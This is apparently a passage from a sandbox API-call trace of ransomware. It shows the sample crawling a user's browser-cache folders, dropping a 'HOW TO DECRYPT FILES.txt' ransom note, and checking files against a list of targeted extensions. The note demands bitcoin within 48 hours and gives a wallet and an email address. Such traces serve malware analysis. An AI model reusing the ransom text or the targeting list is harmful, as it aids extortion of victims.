ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x502658 [0086.726] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.726] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0086.726] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.726] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.726] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0086.726] lstrcmpA (lpString1=".", lpString2="Content.IE5") returned -1 [0086.726] lstrcmpA (lpString1="..", lpString2="Content.IE5") returned -1 [0086.726] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\*.*") returned="*.*" [0086.726] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\", lpString2="Content.IE5" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5" [0086.726] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5") returned 85 [0086.726] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0086.727] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.727] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.727] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.727] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.727] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="03J4UQW0", cAlternateFileName="")) returned 1 [0086.727] lstrcmpA (lpString1=".", lpString2="03J4UQW0") returned -1 [0086.727] lstrcmpA (lpString1="..", lpString2="03J4UQW0") returned -1 [0086.727] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0086.727] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\", lpString2="03J4UQW0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0" [0086.727] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0") returned 94 [0086.727] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0086.728] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.728] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.728] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.728] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.728] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.728] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0086.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0086.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0086.728] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0086.728] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\*.*") returned="*.*" [0086.728] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\" [0086.728] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\") returned="" [0086.728] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\HOW TO DECRYPT FILES.txt" [0086.728] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\how to decrypt files.txt")) returned 0xffffffff [0086.728] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\03j4uqw0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0086.729] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.729] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.731] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.731] CloseHandle (hObject=0x9c) returned 1 [0086.731] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini" [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.ems") returned 0 [0086.731] lstrlenA (lpString="*.ems") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.db") returned 0 [0086.731] lstrlenA (lpString="*.db") returned 4 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.dbf") returned 0 [0086.731] lstrlenA (lpString="*.dbf") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.myox") returned 0 [0086.731] lstrlenA (lpString="*.myox") returned 6 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.myo") returned 0 [0086.731] lstrlenA (lpString="*.myo") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qbw") returned 0 [0086.731] lstrlenA (lpString="*.qbw") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qbb") returned 0 [0086.731] lstrlenA (lpString="*.qbb") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qbm") returned 0 [0086.731] lstrlenA (lpString="*.qbm") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qbo") returned 0 [0086.731] lstrlenA (lpString="*.qbo") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qbx") returned 0 [0086.731] lstrlenA (lpString="*.qbx") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qba") returned 0 [0086.731] lstrlenA (lpString="*.qba") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qby") returned 0 [0086.731] lstrlenA (lpString="*.qby") returned 5 [0086.731] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qbj") returned 0 [0086.731] lstrlenA (lpString="*.qbj") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.ofx") returned 0 [0086.732] lstrlenA (lpString="*.ofx") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.qif") returned 0 [0086.732] lstrlenA (lpString="*.qif") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mye") returned 0 [0086.732] lstrlenA (lpString="*.mye") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mbox") returned 0 [0086.732] lstrlenA (lpString="*.mbox") returned 6 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.eml") returned 0 [0086.732] lstrlenA (lpString="*.eml") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.pst") returned 0 [0086.732] lstrlenA (lpString="*.pst") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.ost") returned 0 [0086.732] lstrlenA (lpString="*.ost") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.idx") returned 0 [0086.732] lstrlenA (lpString="*.idx") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.dbx") returned 0 [0086.732] lstrlenA (lpString="*.dbx") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.sql") returned 0 [0086.732] lstrlenA (lpString="*.sql") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mdb") returned 0 [0086.732] lstrlenA (lpString="*.mdb") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.fdb") returned 0 [0086.732] lstrlenA (lpString="*.fdb") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.wab") returned 0 [0086.732] lstrlenA (lpString="*.wab") returned 5 [0086.732] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.dat") returned 0 [0086.733] lstrlenA (lpString="*.dat") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.txt") returned 0 [0086.733] lstrlenA (lpString="*.txt") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.jpeg") returned 0 [0086.733] lstrlenA (lpString="*.jpeg") returned 6 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.jpg") returned 0 [0086.733] lstrlenA (lpString="*.jpg") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.png") returned 0 [0086.733] lstrlenA (lpString="*.png") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.php") returned 0 [0086.733] lstrlenA (lpString="*.php") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.cs") returned 0 [0086.733] lstrlenA (lpString="*.cs") returned 4 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.cpp") returned 0 [0086.733] lstrlenA (lpString="*.cpp") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.rar") returned 0 [0086.733] lstrlenA (lpString="*.rar") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.zip") returned 0 [0086.733] lstrlenA (lpString="*.zip") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.html") returned 0 [0086.733] lstrlenA (lpString="*.html") returned 6 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.htm") returned 0 [0086.733] lstrlenA (lpString="*.htm") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.xlsx") returned 0 [0086.733] lstrlenA (lpString="*.xlsx") returned 6 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.xls") returned 0 [0086.733] lstrlenA (lpString="*.xls") returned 5 [0086.733] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mp4") returned 0 [0086.734] lstrlenA (lpString="*.mp4") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.ppt") returned 0 [0086.734] lstrlenA (lpString="*.ppt") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.pptx") returned 0 [0086.734] lstrlenA (lpString="*.pptx") returned 6 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.doc") returned 0 [0086.734] lstrlenA (lpString="*.doc") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.dot") returned 0 [0086.734] lstrlenA (lpString="*.dot") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.docx") returned 0 [0086.734] lstrlenA (lpString="*.docx") returned 6 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.7z") returned 0 [0086.734] lstrlenA (lpString="*.7z") returned 4 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.tar") returned 0 [0086.734] lstrlenA (lpString="*.tar") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.bz2") returned 0 [0086.734] lstrlenA (lpString="*.bz2") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.gz") returned 0 [0086.734] lstrlenA (lpString="*.gz") returned 4 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mkv") returned 0 [0086.734] lstrlenA (lpString="*.mkv") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.eml") returned 0 [0086.734] lstrlenA (lpString="*.eml") returned 5 [0086.734] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.msg") returned 0 [0086.734] lstrlenA (lpString="*.msg") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.edb") returned 0 [0086.735] lstrlenA (lpString="*.edb") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.accdb") returned 0 [0086.735] lstrlenA (lpString="*.accdb") returned 7 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.odb") returned 0 [0086.735] lstrlenA (lpString="*.odb") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.java") returned 0 [0086.735] lstrlenA (lpString="*.java") returned 6 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.asm") returned 0 [0086.735] lstrlenA (lpString="*.asm") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.pfx") returned 0 [0086.735] lstrlenA (lpString="*.pfx") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.pem") returned 0 [0086.735] lstrlenA (lpString="*.pem") returned 5 